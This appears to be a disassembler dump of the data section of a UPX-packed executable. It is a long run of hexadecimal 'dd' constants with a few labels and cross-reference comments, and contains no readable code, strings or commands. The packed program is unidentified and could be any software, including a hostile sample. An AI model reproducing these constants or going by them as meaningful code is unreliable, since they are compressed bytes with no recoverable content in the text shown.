3286BF4Dh, 43F2B1A8h, 3B603CA4h, 1103277Eh dd 47D1C75h, 0BE8BDEAEh, 0E6C51BEFh, 2D0D2719h, 58EA97A5h dd 0A210685h, 5E74CFCEh, 6DC1B48Ah, 0CE57D1E1h, 45BE67DEh dd 5824D575h, 6E853C8Ch, 0F31973A9h, 96DA24D1h, 4CA775C7h dd 8102B0D5h, 73C034AAh, 40BFCF97h, 0ED1E7508h, 0D4E225B5h dd 0FC301EF2h, 0DDD5B569h, 4FA54795h, 87CC3B4Bh, 328D8933h dd 9FD3F354h, 4F62CE46h, 8EC899C1h, 0DAB0BC44h, 7349B207h dd 1653781Dh, 3DA0A4AAh, 4F3150BCh, 0AE8E3F71h, 1BC9C495h dd 641B48FAh, 89716DBh, 38964B58h, 562AE554h, 35D03106h dd 0AAE54A74h, 6E30F0C8h, 66878E9h, 0A9C1E20Ch, 91A99D1Eh dd 14825BC9h, 3A54CE7Fh, 718C52C8h, 27D4CB80h, 46221781h dd 0D663C20Ch, 0C3672FB4h, 0BBAA0C2h, 0E4C8A5DEh, 0FAE3B340h dd 9A5F708h, 98B0BE7Dh, 0D4416D5Bh, 483FAD2Dh, 9491756Fh dd 0B7AA8613h, 4EE1D348h, 0D4308BC0h, 87D21DD4h, 0F9D0954Ah dd 25258152h, 8531EAEDh, 2591C434h, 0E24DE6E4h, 0E2E1C57Eh dd 0DC492016h, 0CD8A3D9h, 1B5C4ABCh, 401A0F6h, 0E3C641B2h dd 0D492243Eh, 12F1B4C7h, 0B308C20h, 0BE347614h, 85D686CBh dd 0C5B47B2Ch, 0AD48879Dh, 0C49FCB5Ah, 83EF4EC1h, 8343374Fh dd 0AAE98A1Bh, 9AD43E1Bh, 0B18C3Fh, 2522B475h, 613C637h dd 0FA57F77Eh, 0A75F97Fh, 7C81F0E1h, 7ED64441h, 465761FCh dd 9AA20392h, 49335BB3h, 9E5C5C93h, 0A616F4F1h, 0C8D9B9CDh dd 0D4BC6E36h, 4D7826F5h, 0C2EFF857h, 0A4BD3046h, 9FBBF8EDh dd 566DD144h, 6DF62422h, 77E15D84h, 0BA362342h, 73DB94C1h dd 8E3B0664h, 22016884h, 9FD07711h, 0F92314ABh, 7CDE73FDh dd 0CD4BA932h, 203991CDh, 0A4EC44B9h, 0EBDCBD25h, 8253E706h dd 0EFB38532h, 1B748EC8h, 0C8B8CADFh, 9363DE52h, 4F646194h dd 0EA6C9C75h, 0ACCD7240h, 6F83D086h, 90E893FAh, 93B1BDAAh dd 0F8DECAF0h, 8A6C4DA6h, 0CD6E88FAh, 3C874318h, 9923C0Fh dd 0C97B2250h, 0B465F827h, 0C878839h, 399789E1h, 5D0B0FAEh dd 5A4A4AA1h, 71A4BFD7h, 0D528FC6Dh, 0FD701220h, 2095331Ah dd 0A922A4FDh, 0A1ADF567h, 0C6B64ECEh, 0D3880297h, 840BBC19h dd 0E261FE17h, 6C1DDC2Eh, 0B0BA2FBh, 25F8530Eh, 8DA5D811h dd 42284054h, 2856A40Eh, 2A38AAA1h, 0A0E13299h, 0A3C90CA9h dd 0A5C9837Fh, 7153234Fh, 3E59D4A3h, 264BAC0Fh, 908DE177h dd 8E9CD982h, 0F17AAEC4h, 87898ABDh, 5F09A5C0h, 0F8DD09ABh dd 5D7A246Eh, 0E5DB17DDh, 6254114Eh, 2E65D5C3h, 2B55E912h dd 9A4B0DCFh, 1C927BF6h, 93DA8948h, 0A7B55865h, 0FB3F04DFh dd 9F55E8DDh, 0B2D693ACh, 0EDE28BF5h, 57A4F6BFh, 0A0D766A7h dd 910FE14Bh, 915A0EA8h, 0E5DEB2F2h, 33140CBCh, 0DE962BFCh dd 0EA972161h, 4A115D2h, 55739AA4h, 176203Ah, 55BC10D1h dd 56EA89AEh, 415104C1h, 0BDC83C92h, 0E865014Ah, 77309C57h dd 0EC3DAA1h, 0B2BFD348h, 0E6B55915h, 0E1E54D86h, 0C96CD137h dd 6D3C9A73h, 0A28FC83Bh, 0C5BFCA15h, 495D7106h, 9292103h dd 7D299735h, 122E4EACh, 1119B5C8h, 0C48AC5E8h, 16A2384Fh dd 4C52DCh, 42D88308h, 7064E2A4h, 91FCA735h, 24F1456h dd 9000B9A7h, 16F4E00Ah, 0D737DB8Bh, 5AAAE5F6h, 0BF024AE2h dd 6D0BC7D8h, 4B39174Bh, 2B94901Eh, 79518AC6h, 56A1B52Ch dd 0B311EAC6h, 0AA506520h, 760F0D78h, 4D74E7AAh, 94BF85A3h dd 0BF30C15Fh, 0ACE6107Eh, 69918B1Bh, 6DEF2B4Dh, 0D0444CA6h dd 0EB7D342Dh, 3F035FF9h, 0D4623535h, 0B2EC5257h, 9988F53Dh dd 0CD247878h, 0CABB9D2h, 6B839F84h, 9E5210B2h, 97CF6C8h dd 12E2DBB1h, 4F868446h, 24FABCECh, 3439E7E0h, 0CE0E017Ch dd 5623123Ah, 71FB755h, 0A5B57A1Fh, 4E68EA83h, 26D44F72h dd 0E219DD2Dh, 0BA3A28B7h, 7F7E83CCh, 7AAFE661h, 0FDDF1C8Eh dd 0EFD33115h, 2AAE6631h, 901FCA34h, 0D2478AB5h, 0EC3D93D3h dd 0FA235544h, 226E8B16h, 0D93EB435h, 34CD39E2h, 0FC9F1D41h dd 0B83F885Ch, 68899457h, 0CDB7E18Ah, 1D6E28Fh, 4D21CE0Ah dd 6D6D2581h, 0BB3A7A2Dh, 9EA9CA4Dh, 8955E44Dh, 0AE540DA3h dd 76FDFD12h, 3FBC930Ch, 0BC649EA8h, 3DA50Ah, 6CFF639Ah dd 44733EADh, 0B4CD94D2h, 1ABB9FBCh, 9BA83685h, 0CB4558C9h dd 0F119C93Bh, 1BAA511Ch, 204F4B79h, 0C145A700h, 6345241Dh dd 0A12CEC07h, 5B0533E4h, 0B1FF8971h, 1AF912DFh, 70202A75h dd 320C634Ch, 1D3EA98Bh, 0E365F236h, 9B6D9EEh, 0F4B1A50Dh dd 0DC43D4F3h, 0FFD4F4FFh, 31502757h, 962C1771h, 34A94390h dd 6543EC98h, 224FAB60h, 78DBE62Dh, 0B5BC21FDh, 11F689A5h dd 0AC38F6h, 488D249h, 20848AADh, 12E3CC88h, 0C7D4CB2Ch dd 0FE998D4Eh, 0CE04AC7Bh, 0C3A1D44h, 0C4D71039h, 95083AD4h dd 353BFBB5h, 0E3D3A8AAh, 0B6D644D6h, 0ABC7B919h, 0CF760B1Ah dd 5DD6C553h, 0C773CB05h, 682E10D6h, 0B7804CE3h, 0B5CC4BFFh dd 5F19EC68h, 0E9D59C83h, 7D89DE58h, 3B0AC170h, 0F2EADF35h dd 5FC4179Ah, 0DA81610Dh, 793A3E20h, 0BBF7E8CAh, 90ECD8C0h dd 0A6C2C066h, 8C56CF39h, 2B0E8D4Ch, 1D4A8F5Eh, 0A89E907Ah dd 5FBF236Ch, 0D6190592h, 40D20297h, 0DBC8C47Dh, 22DCC0D6h dd 5C6491F4h, 693DFC1Bh, 0B372E2F6h, 31AC9EB4h, 9755128Fh dd 0FA6655ABh, 85812316h, 81A6E963h, 1292040Eh, 6ACD9839h dd 20C82034h, 9D4ECE2Dh, 4B7F58A9h, 96334949h, 0BA0982C2h dd 71C78D60h, 88039AF4h, 4455FBD5h, 8F5EC6C7h, 0BA64EF85h dd 8155FE69h, 76AB65C4h dd 0BE8084DDh, 9F37C046h, 0F785F2D0h, 3B8FF901h, 65359A2Eh dd 0C65976D6h, 0E968D581h, 0C101F8B6h, 0C91410DCh, 8237DBF8h dd 0CDA4420Eh, 0EA9BF7A7h, 839164FAh, 68A2050Ch, 0B08AD8F2h dd 55AA9225h, 9387EF6Ah, 0D3E27882h, 676C6B61h, 0F34AA4F4h dd 0B1C91D5Ah, 0A6A500C5h, 444A5273h, 9929D145h, 96C80E2Dh dd 0A7D04104h, 7251B058h, 0EEBDEB28h, 0FA9ED4ADh, 7E7BC16h dd 0DA06B8BEh, 0B666B47Dh, 45ADFBC2h, 34C98A2Eh, 0E528F350h dd 2E023D30h, 719B658Dh, 0FC95787Ch, 0B29F85D2h, 0D7CA8C21h dd 2D94DD77h, 0BF332DFDh, 97D33438h, 8E2BC3E4h, 7957613h dd 0C40604A0h, 0D4D3C5F8h, 0D0FEF12Ah, 0A1BD063Dh, 8C50637Dh dd 0BC808022h, 0C95DAF97h, 6798AC1Bh, 23412C8Fh, 39C5184Ch dd 0D60055EFh, 0D61D5194h, 8F2C9001h, 0E124D45h, 0C321FC02h dd 3BC0E2A4h, 0D374E35Dh, 0F6517963h, 0CC7FAF9h, 1FB6A4AAh dd 13507139h, 0F6106A06h, 48DD4C7h, 2BE86D2Fh, 23C1B5FBh dd 51C15EF6h, 8E25E061h, 2C718894h, 0B8356F49h, 1C231F35h dd 95FDCD89h, 0B7530F9Ch, 0CA3B0F36h, 6148C99Bh, 0ECBB956Ch dd 3DA0A0h, 0B2F0F186h, 7AB1FC48h, 0FE4E7F9Ch, 0D57476D3h dd 0A58FBF5Fh, 81A34A4h, 9ECB2124h, 5B45248Eh, 0B97194B5h dd 0BB213846h, 11C58BA1h, 75C1F18Eh, 0ABD6F714h, 4F1B546Eh dd 8CB88BB2h, 0B372EF02h, 0B9047FC7h, 60B7656h, 4280E752h dd 0D7F21321h, 0F9E9F91Fh, 0D64DD42Eh, 0F6CCA66Ah, 0D9ADE68Ah dd 3242D4F0h, 40E2C4AEh, 1D388021h, 35C7DE7Ch, 6B6BF890h dd 3A1ACC89h, 0C9E92AABh, 12CFA8E4h, 2B520277h, 6A9CBBC8h dd 0D59FEFFFh, 0A1611A86h, 0FD2068A1h, 79B0CFF5h, 0D3AD7CF7h dd 0A0B4D5E7h, 2E02F73h, 0C71C1383h, 0A6E5778Ah, 0C15F947h dd 8CCBEE9Fh, 0B2E58853h, 364F0DF3h, 7FC9D2ACh, 0FB53E988h dd 0BEA52E77h, 0CFA33DA4h, 55CD185Eh, 19F5347Bh, 0B7E33CACh dd 73AE6B2Dh, 26CFF47Dh, 0FD22E003h, 0E35F482Fh, 7883063Eh dd 0FFBF3E54h, 0C8A62FF6h, 89CD21BDh, 94BDA50Fh, 0C65B6A5Ch dd 4FE200A2h, 6641DEFBh, 19D291B8h, 58B9593Fh, 16EAC646h dd 0DC1B21C8h, 173807B5h, 41C471A4h, 769274AAh, 99048D42h dd 0B1EEA80Bh, 0CF7A82DFh, 0D3E9B5B6h, 31EB95A1h, 4B019ADCh dd 95596C6Ah, 0FB57B0Ch, 0C6AA9D4Eh, 2FB139BCh, 0BFEE49Fh dd 26A2CFE5h, 4B6F5906h, 0AB632F5Ch, 5C302766h, 0C883D8FAh dd 0C5C1D78Dh, 89C1E2E6h, 0CEA2FA4Eh, 0B5D86662h, 20030EE3h dd 36E62862h, 0ECDABC79h, 0F0EEC5B2h, 0BE6DF15Eh, 1B211FE2h dd 0A40611B3h, 0B721A41Ah, 5475277h, 0AD6ACAA3h, 34C62E4Eh dd 43791E48h, 521A4C3h, 79134h db 0CDh, 9Ah word_544F42 dw 0AA64h ; DATA XREF: UPX0:off_4264E0o dd 0A7B4D939h, 4F84569Fh, 0C687248Ah, 0E7BA6753h, 7C800181h dd 0D2D48F92h, 321842DDh, 0B7966377h, 0A33DD418h, 0BE93B0AAh dd 5E83F058h, 0C5A20741h, 0E4EF87CCh, 0A0E6E645h, 6A2D7827h dd 85F4F05Ah, 0E074967Fh, 439B67F3h, 7CCC2451h, 0F440A440h dd 56F0478Fh, 53654430h, 516C3CB1h, 0D29968BAh, 0DE29AB22h dd 0F10C31FAh, 5511557Ah, 48CC9F84h, 0B68B69FDh, 0E3B4E7D3h dd 0F7B66AABh, 5E793B24h, 0D1E4EB34h, 0ABD34372h, 0A80148F0h dd 70BBDE5Bh, 0D0E9A769h, 0E1411902h, 0CC929CDDh, 9CC5B55Ch dd 11EC7F03h, 0A6606145h, 0DF90DAFBh, 9CFE9256h, 0A8D44D81h dd 9BBD2463h, 27AB241h, 1A9B152Dh, 185D7A73h, 0EA6F2F02h dd 7820395Eh, 0B1DB019Ah, 44E26F73h, 6982C3BAh, 41987F63h dd 0BC4C1270h, 163C9953h, 0E20071F4h, 0A05BAB76h, 213FB50Fh dd 43C73302h, 0B63EC574h, 0CC077DCEh, 65C929FDh, 0B0E14A5h dd 0A2748F18h, 822408DBh, 0C4C132F0h, 0AC39921Ch, 98EE3376h dd 0B19D5619h, 291BA728h, 74D1B471h, 981AFB63h, 0B66F5ADDh dd 92C1F4AAh, 205BBA1Dh, 5D59618Ch, 65372F95h, 3870F140h dd 0D9C1E171h, 0AFF55DFEh, 6AC257B5h, 64F17CFEh, 0AAB612BFh dd 319445FAh, 3CE368B0h, 8BDE8D2h, 28E4D011h, 4D1AEB89h dd 0A42FEB41h, 29BD7926h, 0CD3DBE13h, 0BF53FD00h, 73CC93C0h dd 820B436Ah, 57374213h, 54DFB12Ch, 0D57C8690h, 4827412Eh dd 0B742B9D9h, 85B0D9B0h, 0F115F4D6h, 8944D1A4h, 19FDB349h dd 0CBEDF6FCh, 0FE08AF2Ch, 9139CA73h, 6B7C5B57h, 0A9FEC440h dd 0BC4A7873h, 0E31798BAh, 301BA503h, 0F82BEDDCh, 6C2F3D1h dd 0D0CA1973h, 0B44EB0D7h, 85A26DB6h, 0CBBA46DFh, 764F1BB2h dd 1AA76C44h, 0D8DC429Ch, 0EC9D15Fh, 0E82068E9h, 0C60EBEA7h dd 49F905EEh, 0DE37D496h, 751F2D00h, 66485BCEh, 7C1DCCA5h dd 0F9D5BCB1h, 4F1959F7h, 6D9CB994h, 0E7CC9A08h, 0A06058B8h dd 2DCA15h, 2F952CD3h, 86B2F28h, 0EB1306Bh, 0F24A1326h dd 47C188F7h, 1504BC09h, 4D399BFCh, 836A2E2Eh, 4774CFE4h dd 7E87ACD3h, 0B21C7B7Ch, 0F8E4D88Fh, 198F7B79h, 66B5F128h dd 4BAC91B1h, 7CA4102Bh, 0E810A43Eh, 6C1E40DDh, 32DB1664h dd 6E68CE4Ah, 0BAACBCF7h, 25110AD3h, 95280B5Ah, 10A89385h dd 0E0C5011Ch, 3E7E8D7h, 70F04C39h, 0E58BDF2Ch, 73D38CDCh dd 1A4AB33Ah, 39C439Fh, 0FE94A2F4h, 72CB93Dh, 8811C2C3h dd 57A52FC0h, 0F0EAA57Fh, 853D6AFAh, 0F0D01829h, 8149F62Ah dd 2EDE4767h, 98FDFF7h, 343EF03Fh, 68BCF557h, 0F11D71B9h dd 0FE3C030Ah, 27462956h, 0B9489845h, 88A55CEh, 38EFF05Fh dd 3B1C24B7h, 0FAB5369Fh, 0BDEE169Eh, 0E99AC4F0h, 906F415Eh dd 0D9AA3913h, 41132190h, 9ED57F64h, 9AD78329h, 8685510Eh dd 0F53244BCh, 2AFD967Fh, 710A9DBh, 473B2683h, 0E1930832h dd 733968A1h, 0B60DB16Ah, 9DADB0B9h, 0E1F7A238h, 4E5BFAF9h dd 0A054A250h, 0A7676CF8h, 2C5D478Bh, 56A7D90h, 83E1E70Ch dd 0F2DA0441h, 2C165012h, 0E4432783h, 0B411E94Ch, 0E3C15234h dd 0D3245613h, 0EB45DEE5h, 50AE6235h, 8FFA093Dh, 0EEADFFDh dd 3AFF1F90h, 619EA1EBh, 0E28C07A5h, 0B91606D0h, 3C0E491h dd 0CC2C39C7h, 99AB26D3h, 0A64835BBh, 0BDB233D6h, 0BD24D14Eh dd 0ABF525E8h, 6B2ED108h, 65A66DC5h, 0CE869878h, 27FD3DC5h dd 0A0ADB11Fh, 19494BD9h, 107DBBCFh, 57458539h, 637D14FAh dd 483B8912h, 0F350D9F6h, 4E08C4AFh, 0D01F3567h, 0E9BA9480h dd 0EF76D556h, 0B8EE8ABAh, 30EE5792h, 0C5C7291Ch, 0DE06A685h dd 95DDDAE6h, 21589FBCh, 14701531h, 0CD860281h, 3FF4F526h dd 6364BD76h, 46044847h, 0C4C9C2C5h, 0AA45E693h dword_545350 dd 350EDCE0h, 0B873CA9Bh, 0DEB6C914h, 41477550h, 3812B701h ; DATA XREF: UPX0:off_438F2Co ; .data:off_4EF57Co dd 45694286h, 3AEC12Ch, 0DC6248B6h, 93D6262Fh, 0B9BFA58Fh dd 90D3867Dh, 918709DDh, 0F244A143h, 0DA83E9E4h, 0EF2031EBh dd 0BE34DA73h, 3172E38Ch, 20A41710h, 0BD542381h, 0A79892EBh dd 16C42783h, 0D17649C8h, 2551AAB8h, 0E7332760h, 75CF46CEh dd 5A65BBFDh, 4F22F912h, 234C9647h, 82B9E8h, 4755E31Ah dd 60F77E61h, 5A2D34C6h, 0F402D0A3h, 5EBFB949h, 3311AD51h dd 328DA144h, 0C606A49h, 6DA9444Fh, 0DE8221A3h, 0AD39A96Fh dd 0AD34614Fh, 2143FF4Fh, 0C0854237h, 0D43B9F02h, 262AA6EBh dd 4A2E8F30h, 0F44C135Fh, 243F9492h, 9FF9924Ch, 0DBDF6E81h dd 68B4D46Ah, 2089660h, 0E2F6D05Ch, 7E4FC932h, 0E6977B8Dh dd 44ADB2E9h, 0E2723302h, 30042704h, 83E7F34Ch, 372F12E5h dd 0BBEE1316h, 0FFFD37CCh, 0D00FFC80h, 367C9DBBh, 0C749ED09h dd 0CF9947h, 41FCF5B7h, 5C7FAA8Eh, 747250A9h, 5C8FA6F5h dd 3AB2410Fh, 0BC1FC179h, 2C85AA16h, 4C64612h, 6053D110h dd 4CC5DD27h, 0A7F0269Dh, 0D18A35B6h, 7418BDD2h, 7C23549Fh dd 314A5B29h, 7B8244Eh, 3B4A5746h, 79246FA1h, 0CE682272h dd 6C525549h, 6E8E3A41h, 0FC983A47h, 640274D6h, 5D0465CEh dd 0C211Bh, 66390475h, 38DF8F55h, 0C3FAD204h, 9249BA31h dd 725681A0h, 37CBA6F7h, 0B7DB5E2Eh, 16CFFFE1h, 0C7E9484Fh dd 8B7D04CAh, 49F436DAh, 439A9774h, 34582800h, 0BB4FF4C7h dd 630DE96h, 235A3C52h, 3AC37C4Dh, 436843E0h, 5F0D4B30h dd 0EA3C158Ch, 37EE5DCh, 7FCF87D5h, 4A833EB3h, 0A319B00Ch dd 9516C4B4h, 0DFB562D8h, 13C2AC13h, 5B1B4779h, 0E63CE285h dd 0AF3F74C2h, 623009A7h, 5C9EF3C7h, 0ABEEFDCBh, 4D875691h dd 7DABB382h, 6F8EAD6Ah, 698C6C11h, 0B552DA6Bh, 0AE10033Ch dd 0A3B35ABFh, 36A04A8Eh, 0A582E3D1h, 82B82292h, 0C6DC82C3h dd 0A3D23095h, 1DA1DDA6h, 0AD4036D0h, 0B95903B9h, 0C593E1Dh dd 0A3A49B9Bh, 0CFBEA121h, 58320665h, 2EC014F3h, 0E2E2A92Dh dd 3AD1F21Bh, 9FB028ACh, 0EC0BFF33h, 3B7917B3h, 0A8D0A949h dd 0A8BC8C8h, 9E973CBDh, 0BA73348h, 8D1BEA7Ch, 8807ABBBh dd 7E48B576h, 4CD4D441h, 0E1563F7h, 296651B0h, 988C92E1h dd 832A13B2h, 6AEF1E85h, 0E5156137h, 136F568Ah, 0F8F5A177h dd 60C525ABh, 7A82C8E0h, 455288A3h, 0F3CBED1h, 58D0A7A8h dd 305DF08Eh, 574EC15Dh, 8873D549h, 111D3768h, 0EBE1F920h dd 0DA993A3Bh, 23F8815Ah, 0C664F66Bh, 8F8D8A92h, 84DB0CFDh dd 0E551829Ch, 0EB066D1Ch, 370747A9h, 7AB9DF1Ch, 0E09D6553h dd 57C06FD3h, 48DD5BA2h, 8974BF0Eh, 4702CDE9h, 0F8138F38h dd 9A41EFECh, 9337BEA1h, 0D48FE476h, 0E6A29929h, 0A38D9263h dd 0FB89F733h, 30467619h, 0BB58E4F2h, 90D161E9h, 65EF9FF2h dd 11A353E9h, 1576221Ah, 7C76E52Fh, 0CFB91D6Eh, 0D5ED53CFh dd 62E4C892h, 1B2102C1h, 0F2CCAE2h, 0B3607711h, 38CF64F6h dd 8909F42Ch, 0FEFECA4h, 57EF6F9Fh, 0ABADF15Eh, 0ACF0DE2Fh dd 108E0BC4h, 499CD9BAh, 85B48700h, 12517221h, 0DE5C10FBh dd 0EEF71CEFh, 2C38AF49h, 0E19281F8h, 6FA31AEFh, 0D917BF4Ch dd 58D756FCh, 0DCA1B4B7h, 0BDECCCC2h, 4412CD3Eh, 55FEDD9Ch dd 8EC740C1h, 0C03D6E0Dh, 7A77BCF9h, 2BDA067Ah, 0E0B35FC0h dd 0AADF1C5Fh, 0CA8C7BDAh, 0B72152ADh, 5667B6FBh, 20E40B87h dd 0B7AAE4EEh, 7763BFA2h, 928FFBC9h, 7A38288Bh, 863DD03Ch dd 938DA8EBh, 4F69BE35h, 65FC844Ah, 55F4005h, 7D374509h dd 0C8679370h, 61F0BF47h, 0D5B279Ch, 4AE6EE66h, 311E8068h dd 0FFFBF412h, 0E60203Eh, 43F6EB3Bh, 7CDE4425h, 69F260BFh dd 792597E5h, 0EA3CFC07h, 290A8050h, 15E9E863h, 0E9F42E7Bh dd 0A3992107h, 0ED4D51C5h, 873BE2CFh, 0E529F451h, 88FBC642h dd 0D13C70Fh, 0D30AB753h, 3B41552Ch, 50C3EEAFh, 0A6EE365h dd 7A34357Ah, 0CE38B3C0h, 6AF23436h, 8B2C5B3h, 14F07EC8h dd 7DD2AA9Eh, 8A049D2Ah, 1900F739h, 55C6011Bh, 0B059A26Fh dd 0D50231BBh, 72FA1C0Fh, 0D0AD5B88h, 4FC5547Eh, 0D5085756h dd 2CE4153Eh, 4DFA98F3h, 5FFF6692h, 8568558Dh, 23D016CFh dd 0A174F167h, 93BF2B5Ch, 33494E1Eh, 0AB3E3659h, 0F92D397Dh dd 9DCB8639h, 33B3DF8Ah, 590F760Eh, 77CE5206h, 997FB490h dd 0CDC434C5h, 0D064244Ah, 0F6AF6CE8h, 0F292DBFh, 261F29AFh dd 0E819241Fh, 0A946A55Dh, 0DA2806EDh, 6D632A4Fh, 29436012h dd 0A9366537h, 84907776h, 0E15842C1h, 0B145129Ch, 2BAB4EDAh dd 0B9F33D61h, 8BEA9037h, 5BF30F60h, 466CABB7h, 1DA7A4BCh dd 6F11539Dh, 0D8840125h, 0E80873C7h, 81A092CFh, 0B33D6A45h dd 97CB44FCh, 8FD0F99Fh, 4B9254ECh, 9C978880h, 0BA090096h dd 0C8555869h, 81A4A593h, 94B8A94Fh, 889754A9h, 54FB7581h dd 0E430D43Bh, 0AF082E6Fh, 79E24C5h, 0D23A77B5h, 78FF1F5Fh dd 0AF4E05A9h, 4F61C5B3h, 6BE76C34h, 9227B2ADh, 0B49FA002h dd 9645A72Dh, 0AAE7AEB5h, 7835BA58h, 0D3BF79D4h, 2C1DC050h dd 0FC0E5D14h, 55ADDE9Dh, 0ADA283EDh, 0D99AC664h, 6E8C739Bh dd 3ADC0AD7h, 96F7F9FBh, 0A8141E9Fh, 2F52B09h, 7DBADB96h dd 0EBC096B8h, 1BDD381Eh, 77FBA3E0h, 0D5C3EE0h, 0A9BA968Bh dd 12814FA2h, 3DB4CCC5h, 0DA2BCD7Ch, 5722FB72h, 4F0F22B7h dd 9852E534h, 502D8B4Fh, 844BC000h, 2F356281h, 0F933A2EBh dd 713F5A4Dh, 7B068464h, 0B66F040Fh, 95741CA1h, 0D11E1230h dd 0E325AFCAh, 21F86CBAh, 0CE691475h, 405760Eh, 41048C58h dd 0A57D1832h, 0FF7CA641h, 74EF599Ah, 4403E62Dh, 58C76E9Dh dd 0CEE2670Bh, 8DC9411Eh, 5DD2FE7Ah, 0F8A96A76h, 3FEF98F0h dd 0B46B44ADh, 0E7E833A8h, 0E417A662h, 0F1695418h, 23795003h dd 73AB3443h, 1EFCDDA7h, 307ED4DDh, 359C9D9Bh, 0FAB4E4CFh dd 0EB7FA1EDh, 32898EC5h, 0C036D44Bh, 0EE56C8CEh, 242A9DC5h dd 834F3663h, 2B6068Bh, 68F2B358h, 338A0741h, 0DF63060Ch dd 87587240h, 23B45A74h, 21511FDFh, 5EC80F4Dh, 77327E17h dd 68CA3897h, 9B47285h, 1CB0082Ah, 0C7E9EDD0h, 3DA13192h dd 2B2CEC13h, 82ABE852h, 75A02314h, 0FDE7A48Bh, 0A473254Eh dd 8DA360BEh, 1F8714DBh, 0B596A052h, 0CF90E942h, 0FD25CC03h dd 0E2C7E9D0h, 0F4000Bh, 0BE96203h, 0A402A3CCh, 3686B67Dh dd 0DD60A677h, 2DAEB73Fh, 0BEF49FF4h, 95C9248Ah, 0E4D793EFh dd 69139C3Dh, 900225F0h, 724A12DBh, 243F9681h, 0B5624745h dd 3093FAA9h, 679E5318h, 489C9DA7h, 5B0DAF07h, 0E92E4DF1h dd 0EC6729C2h, 1F2BC978h, 0CA0C0A91h, 9481B059h, 42F945C8h dd 6ECA08CFh, 49496CEFh, 4A6FAECCh, 2E20312Fh, 0ADC55674h dd 7B4B9D9Eh, 0E307E2A9h, 0B66AF433h, 66306BF2h, 8B209898h dd 949F814Dh, 0C1795F25h, 7D018FB0h, 0BAEDD604h, 0E7D8B5DDh dd 0A073268Eh, 0C443ABABh, 179AE9F7h, 86261C5Fh, 0DA14357Dh dd 0C0CD9207h, 0B5D125D7h, 78A2927Ch, 804773h, 0A42F852Dh dd 0A9444D1h, 4D32865h, 0CC6837A2h, 0B9995A00h, 10727CB8h dd 9052AEDDh, 7B892FDEh, 82D3D07Eh, 0F7FEF501h, 0ECC64F6Eh dd 7D9EA4BDh, 0A7E2600Eh, 3C63D4D9h, 314AFCEEh, 23E948D5h dd 0BCAE5552h, 9C58B8AFh, 0F9C84E37h, 0F652B867h, 0C7C904FEh dd 0E2FAA01h, 9F46C7B0h dd 0B509C0AEh, 0C6D01A7Eh, 23B06612h, 2F11C82Ah, 16F00D7Eh dd 6EF49B7Ch, 2AB5A2CDh, 163EFEDFh, 4764FDE9h, 0A1339872h dd 3E99F76h, 53EEA9A7h, 0D0E79F36h, 0FED36480h, 0F5632BA3h dd 0D7F91A7Dh, 0E32F4C7Eh, 0FC2C2596h, 0C564D4F5h, 1AA50C1Bh dd 0D4307255h, 29F7C1ACh, 0A137CF17h, 522B34D5h, 0CA63AC08h dd 92650D37h, 0A81A2698h, 6C30DD1Eh, 8FC2E1C7h, 6B3B5621h dd 3B3ACA5Eh, 0DE063F76h, 0F95499E2h, 8F9C44B0h, 3AB07B18h dd 0FA6377CCh, 9486ADF6h, 0BE06A837h, 0A85D2DDCh, 88A66E6Eh dd 1435250Dh, 0FFA5C4C6h, 945E0C18h, 0D0DD7B82h, 7812B69Ch dd 69B9163Eh, 425090ACh, 73BE0CE9h, 30E604Ah, 612491Ah dd 81E13DB6h, 0BA55470Eh, 87B4D128h, 6A74915Ah, 0B099A799h dd 0E37B9763h, 4F98FEBEh, 539A9C6Eh, 0A169950h, 8ED098E5h dd 608AB041h, 54DBACEFh, 64D47D1Dh, 0C0B65A17h, 0FD301907h dd 0FF5B0F95h, 9AF9407Dh, 0F0226D16h, 0EEA86946h, 4234C9EEh dd 468F4BCCh, 9505616Fh, 45D1AA78h, 23B9E503h, 0E9A193C5h dd 1957BBB2h, 3FD7D73Fh, 0E42B9952h, 451644E0h, 1FC1ECB5h dd 52A67D62h, 36C0F643h, 0BB1294B9h, 0E921AF26h, 7C29129Bh dd 0CE8A0E08h, 239FB6EAh, 0F8CD3FD9h, 15BC154Dh, 19CEE38Fh dd 78B5103h, 77571872h, 61D4C6E6h, 4D184A98h, 0BCE2AE19h dd 91B55E5Ah, 0DAD56CE2h, 466B5EF1h, 0D1C9F8C5h, 165EF294h dd 82801238h, 0D9589EC4h, 0A4F6D5A7h, 1F139C0Ch, 1448480Bh dd 15E57BB3h, 8003A728h, 3CFB89FEh, 0CBA80945h, 8F8A578Ch dd 91D25114h, 0A259D906h, 40D2BF04h, 0E3127286h, 0A05A801Bh dd 435EC748h, 91433060h, 6895EF02h, 18337FECh, 0A716A2ACh dd 4BCB6AA5h, 0B1CED865h, 0D00E7D52h, 196713EAh, 0D3F6F73Ah dd 7CEE0C76h, 0BD2A764Fh, 3E71197Eh, 8A036F11h, 0A4593F64h dd 19F58C64h, 273F8AB0h, 0C6B402CBh, 9807D90h, 9AA53328h dd 56E64B83h, 1E903231h, 803296CCh, 0CD6515F5h, 0BA9389ABh dd 6525B9D8h, 249AC66Bh, 0EFAD3BD8h, 3483BFE4h, 0C3F99866h dd 0C9CA7440h, 8D31FC4Ch, 708D455Eh, 0E28BCF64h, 0B7543A1Ah dd 13CA0B68h, 4DDF5D61h, 0E9A3E2D8h, 9242AF46h, 12718CFh dd 26EC0BA7h, 9BDEEC05h, 0E9F8A6C7h, 0F89B844Bh, 81FFA6B8h dd 0E7B53E0Fh, 0E654AFABh, 9EDFE5CAh, 4F9CA71h, 4FE2541Dh dd 66154430h, 989D0D8h, 61A0A2EEh, 40F8CA0Ah, 0D85B3F09h dd 0ED6EA282h, 97E6EF31h, 0C2EFD1DEh, 0E1CF023h, 2CAC7E3h dd 726944E7h, 0D29C2C4Ah, 4ECB6E27h, 0C88C83BFh, 0D7B6782Dh dd 1F4AF10Ah, 37C675F1h, 57CA78C2h, 3AC830FDh, 44C821BEh dd 60F3F48Ch, 0C50F8196h, 391AFDA8h, 542BDBB3h, 24E27AEAh dd 0D70E63C8h, 0FFA1487Bh, 0E348F29h, 0F1E50768h, 1796D8C1h dd 0C17B8B16h, 6E491964h, 75741691h, 5F3A5660h, 0B222AF5Dh dd 0D08C448Bh, 7B321778h, 0C2334Dh, 0B79BFDBCh, 8976BD31h dd 6F0BB174h, 867933D6h, 0FE538F82h, 3A3570F5h, 11561864h dd 0EC7B4605h, 24F80D73h, 0DCAF261h, 0A5880476h, 554A7293h dd 0C8F6FB2Eh, 0D56988F8h, 0B71FA5E8h, 0A19BAC6Ah, 0A35167A0h dd 0C4A2E616h, 49A9FFEh, 5BFDF23Ah, 5C266229h, 